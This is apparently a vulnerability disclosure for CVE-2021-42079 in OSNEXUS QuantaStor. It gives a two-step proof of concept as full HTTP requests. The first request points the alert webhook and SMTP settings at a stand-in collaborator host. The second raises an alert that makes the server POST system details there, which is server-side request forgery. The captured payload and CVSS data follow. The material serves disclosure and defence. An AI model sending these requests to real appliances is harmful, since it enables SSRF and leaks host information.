CVE-2021-42079
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>
HTTP/1.1

Host: <HOSTNAME> 
Accept-Encoding: gzip, deflate

Accept: */*
Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> 
Content-Type: application/json

Content-Length: 0

Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1 
HTTP/1.1

Host: <HOSTNAME> 
Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> 
Content-Type: application/json

Content-Length: 1

The post request received by <TARGET> looks like this:
{
 
### Python FLASK stuff ####

 'endpoint': 'index', 
 
'method': 'POST', 
 
'cookies': ImmutableMultiDict([]), 
 
### END Python FLASK stuff ####

 
'data': b'{ 
  "attachments": [ 
   {

    "fallback": "[122] test / test.",

    "color": "#aa2222",

    "title": "[122] test",

    "text": "test",

    "fields": [   
     {    

      "title": "Alert Severity",
        
      "value": "CRITICAL",
        
      "short": false  
     },  {   
      "title": "Appliance",     
      "value": "quantastor (https://<HOSTNAME>)",
      
      "short": true  

     },  {    

      "title": "System / Driver / Kernel Ver",    

      "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",    

      "short": false  

     },  {    

      "title": "System Startup",    

      "value": "Fri Aug  6 16-02-55 2021",    

      "short": true  

          },  {    

      "title": "SSID",    

      "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",    

      "short": true  

     },
    ],

    "footer": "QuantaStor Call-home Alert",

    "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",

    "ts": 1628461774
   }
  ], 
  "mrkdwn":true 
 }', 
 #### FLASK REQUEST STUFF #####

 'headers': {

  'Host': '<redacted>', 
  'User-Agent': 'curl/7.58.0', 
  'Accept': '*/*', 
  'Content-Type': 'application/json', 
  'Content-Length': '790'

 }, 
 'args': ImmutableMultiDict([]), 
 'form': ImmutableMultiDict([]), 
 'remote_addr': '217.103.63.173', 
 'path': '/payload/58', 
 'whois_ip': 'TNF-AS, NL'
}

#### END FLASK REQUEST STUFF #####
CVSS v3.1 Score: 6.2 (MEDIUM)
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N
Affected Products: quantastor
Related CWEs: CWE-918
Related CAPECs: CAPEC-664
References: https://cisrt.divd.nl/DIVD-2021-00020/, https://csirt.divd.nl/CVE-2021-42079, https://www.osnexus.com/products/software-defined-storage
CWE: CWE-918